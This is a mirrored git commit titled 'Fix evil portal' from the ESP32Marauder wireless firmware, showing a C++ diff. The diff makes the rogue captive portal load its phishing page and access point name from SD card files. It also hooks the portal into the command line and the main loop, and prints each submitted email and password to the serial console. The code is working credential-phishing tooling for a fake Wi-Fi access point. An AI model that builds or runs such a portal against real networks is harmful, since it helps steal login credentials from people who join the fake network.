mirror of
https://github.com/justcallmekoko/ESP32Marauder.git
synced 2025-12-22 23:26:45 -08:00
Fix evil portal
This commit is contained in:
@@ -217,6 +217,7 @@ void CommandLine::runCommand(String input) {
|
||||
Serial.println(HELP_LED_CMD);
|
||||
|
||||
// WiFi sniff/scan
|
||||
Serial.println(HELP_EVIL_PORTAL_CMD);
|
||||
Serial.println(HELP_SIGSTREN_CMD);
|
||||
Serial.println(HELP_SCANAP_CMD);
|
||||
Serial.println(HELP_SCANSTA_CMD);
|
||||
@@ -414,7 +415,7 @@ void CommandLine::runCommand(String input) {
|
||||
display_obj.clearScreen();
|
||||
menu_function_obj.drawStatusBar();
|
||||
#endif
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_SIG_STREN, TFT_MAGENTA);
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_MAGENTA);
|
||||
}
|
||||
else if (et_command == "reset") {
|
||||
|
||||
|
||||
@@ -6,11 +6,14 @@ EvilPortal::EvilPortal() {
|
||||
this->runServer = false;
|
||||
this->name_received = false;
|
||||
this->password_received = false;
|
||||
this->has_html = false;
|
||||
this->has_ap = false;
|
||||
}
|
||||
|
||||
void EvilPortal::begin() {
|
||||
// wait for init flipper input
|
||||
//getInitInput();
|
||||
this->setAP();
|
||||
this->setHtml();
|
||||
|
||||
startPortal();
|
||||
}
|
||||
@@ -38,6 +41,7 @@ void EvilPortal::setupServer() {
|
||||
inputParam = "email";
|
||||
this->user_name = inputMessage;
|
||||
this->name_received = true;
|
||||
Serial.println(this->user_name);
|
||||
}
|
||||
|
||||
if (request->hasParam("password")) {
|
||||
@@ -45,6 +49,7 @@ void EvilPortal::setupServer() {
|
||||
inputParam = "password";
|
||||
this->password = inputMessage;
|
||||
this->password_received = true;
|
||||
Serial.println(this->password);
|
||||
}
|
||||
request->send(
|
||||
200, "text/html",
|
||||
@@ -53,45 +58,46 @@ void EvilPortal::setupServer() {
|
||||
Serial.println("web server up");
|
||||
}
|
||||
|
||||
bool EvilPortal::checkForCommand(char *command) {
|
||||
bool received = false;
|
||||
if (Serial.available() > 0) {
|
||||
String flipperMessage = Serial.readString();
|
||||
const char *serialMessage = flipperMessage.c_str();
|
||||
int compare = strncmp(serialMessage, command, strlen(command));
|
||||
if (compare == 0) {
|
||||
received = true;
|
||||
void EvilPortal::setHtml() {
|
||||
Serial.println("Setting HTML...");
|
||||
File html_file = sd_obj.getFile("/index.html");
|
||||
if (!html_file) {
|
||||
Serial.println("Could not open index.html. Exiting...");
|
||||
return;
|
||||
}
|
||||
else {
|
||||
String html = "";
|
||||
while (html_file.available()) {
|
||||
char c = html_file.read();
|
||||
if (isPrintable(c))
|
||||
html.concat(c);
|
||||
}
|
||||
strncpy(this->index_html, html.c_str(), strlen(html.c_str()));
|
||||
this->has_html = true;
|
||||
Serial.println("html set");
|
||||
html_file.close();
|
||||
}
|
||||
return received;
|
||||
}
|
||||
|
||||
void EvilPortal::getInitInput() {
|
||||
// wait for html
|
||||
Serial.println("Waiting for HTML");
|
||||
bool has_ap = false;
|
||||
bool has_html = false;
|
||||
while (!has_html || !has_ap) {
|
||||
if (Serial.available() > 0) {
|
||||
String flipperMessage = Serial.readString();
|
||||
const char *serialMessage = flipperMessage.c_str();
|
||||
if (strncmp(serialMessage, SET_HTML_CMD, strlen(SET_HTML_CMD)) == 0) {
|
||||
serialMessage += strlen(SET_HTML_CMD);
|
||||
strncpy(this->index_html, serialMessage, strlen(serialMessage) - 1);
|
||||
has_html = true;
|
||||
Serial.println("html set");
|
||||
} else if (strncmp(serialMessage, SET_AP_CMD, strlen(SET_AP_CMD)) ==
|
||||
0) {
|
||||
serialMessage += strlen(SET_AP_CMD);
|
||||
strncpy(this->apName, serialMessage, strlen(serialMessage) - 1);
|
||||
has_ap = true;
|
||||
Serial.println("ap set");
|
||||
} else if (strncmp(serialMessage, RESET_CMD, strlen(RESET_CMD)) == 0) {
|
||||
this->resetFunction();
|
||||
void EvilPortal::setAP() {
|
||||
File ap_config_file = sd_obj.getFile("/ap.config.txt");
|
||||
if (!ap_config_file) {
|
||||
Serial.println("Could not open ap.config.txt. Exiting...");
|
||||
return;
|
||||
}
|
||||
else {
|
||||
String ap_config = "";
|
||||
while (ap_config_file.available()) {
|
||||
char c = ap_config_file.read();
|
||||
Serial.print(c);
|
||||
if (isPrintable(c))
|
||||
ap_config.concat(c);
|
||||
}
|
||||
strncpy(this->apName, ap_config.c_str(), strlen(ap_config.c_str()));
|
||||
this->has_ap = true;
|
||||
Serial.println("ap config set");
|
||||
ap_config_file.close();
|
||||
}
|
||||
Serial.println("all set");
|
||||
}
|
||||
|
||||
void EvilPortal::startAP() {
|
||||
@@ -118,9 +124,10 @@ void EvilPortal::startPortal() {
|
||||
this->runServer = true;
|
||||
}
|
||||
|
||||
void EvilPortal::main() {
|
||||
void EvilPortal::main(uint8_t scan_mode) {
|
||||
if (scan_mode == WIFI_SCAN_EVIL_PORTAL) {
|
||||
this->dnsServer.processNextRequest();
|
||||
if (name_received && password_received) {
|
||||
if (this->name_received && this->password_received) {
|
||||
this->name_received = false;
|
||||
this->password_received = false;
|
||||
String logValue1 =
|
||||
@@ -129,8 +136,5 @@ void EvilPortal::main() {
|
||||
Serial.println(logValue1);
|
||||
Serial.println(logValue2);
|
||||
}
|
||||
//if(this->checkForCommand(RESET_CMD)) {
|
||||
// Serial.println("reseting");
|
||||
// this->resetFunction();
|
||||
//}
|
||||
}
|
||||
}
|
||||
@@ -7,8 +7,10 @@
|
||||
|
||||
#include "configs.h"
|
||||
#include "settings.h"
|
||||
#include "SDInterface.h"
|
||||
|
||||
extern Settings settings_obj;
|
||||
extern SDInterface sd_obj;
|
||||
|
||||
#define WAITING 0
|
||||
#define GOOD 1
|
||||
@@ -20,6 +22,8 @@ extern Settings settings_obj;
|
||||
#define START_CMD "start"
|
||||
#define ACK_CMD "ack"
|
||||
#define MAX_HTML_SIZE 20000
|
||||
#define MAX_AP_NAME_SIZE 30
|
||||
#define WIFI_SCAN_EVIL_PORTAL 30
|
||||
|
||||
class CaptiveRequestHandler : public AsyncWebHandler {
|
||||
public:
|
||||
@@ -43,15 +47,18 @@ class EvilPortal {
|
||||
String user_name;
|
||||
String password;
|
||||
|
||||
char apName[30] = "PORTAL";
|
||||
char apName[MAX_AP_NAME_SIZE] = "PORTAL";
|
||||
char index_html[MAX_HTML_SIZE] = "TEST";
|
||||
|
||||
bool has_html;
|
||||
bool has_ap;
|
||||
|
||||
DNSServer dnsServer;
|
||||
|
||||
void (*resetFunction)(void) = 0;
|
||||
|
||||
bool checkForCommand(char *command);
|
||||
void getInitInput();
|
||||
void setHtml();
|
||||
void setAP();
|
||||
void setupServer();
|
||||
void startPortal();
|
||||
void startAP();
|
||||
@@ -62,7 +69,7 @@ class EvilPortal {
|
||||
String get_user_name();
|
||||
String get_password();
|
||||
void begin();
|
||||
void main();
|
||||
void main(uint8_t scan_mode);
|
||||
|
||||
};
|
||||
|
||||
|
||||
@@ -75,6 +75,15 @@ bool SDInterface::initSD() {
|
||||
#endif
|
||||
}
|
||||
|
||||
File SDInterface::getFile(String path) {
|
||||
if (this->supported) {
|
||||
File file = SD.open(path, FILE_READ);
|
||||
|
||||
if (file)
|
||||
return file;
|
||||
}
|
||||
}
|
||||
|
||||
void SDInterface::listDir(String str_dir){
|
||||
if (this->supported) {
|
||||
File dir = SD.open(str_dir);
|
||||
|
||||
@@ -40,6 +40,7 @@ class SDInterface {
|
||||
bool initSD();
|
||||
|
||||
void listDir(String str_dir);
|
||||
File getFile(String path);
|
||||
void addPacket(uint8_t* buf, uint32_t len);
|
||||
void openCapture(String file_name = "");
|
||||
void runUpdate();
|
||||
|
||||
@@ -604,7 +604,6 @@ void WiFiScan::RunEvilPortal(uint8_t scan_mode, uint16_t color)
|
||||
led_obj.setMode(MODE_SNIFF);
|
||||
#endif
|
||||
|
||||
Serial.println(text_table4[9] + (String)access_points->size());
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.TOP_FIXED_AREA_2 = 48;
|
||||
display_obj.tteBar = true;
|
||||
|
||||
@@ -15,13 +15,13 @@
|
||||
//#define MARAUDER_V6
|
||||
//#define MARAUDER_KIT
|
||||
//#define GENERIC_ESP32
|
||||
#define MARAUDER_FLIPPER
|
||||
//#define ESP32_LDDB
|
||||
//#define MARAUDER_FLIPPER
|
||||
#define ESP32_LDDB
|
||||
//#define MARAUDER_DEV_BOARD_PRO
|
||||
//#define XIAO_ESP32_S3
|
||||
//// END BOARD TARGETS
|
||||
|
||||
#define MARAUDER_VERSION "v0.10.9"
|
||||
#define MARAUDER_VERSION "v0.11.0"
|
||||
|
||||
//// BOARD FEATURES
|
||||
#ifdef MARAUDER_M5STICKC
|
||||
|
||||
@@ -374,6 +374,7 @@ void loop()
|
||||
display_obj.main(wifi_scan_obj.currentScanMode);
|
||||
#endif
|
||||
wifi_scan_obj.main(currentTime);
|
||||
evil_portal_obj.main(wifi_scan_obj.currentScanMode);
|
||||
|
||||
#ifdef WRITE_PACKETS_SERIAL
|
||||
buffer_obj.forceSaveSerial();
|
||||
|
||||
Reference in New Issue
Block a user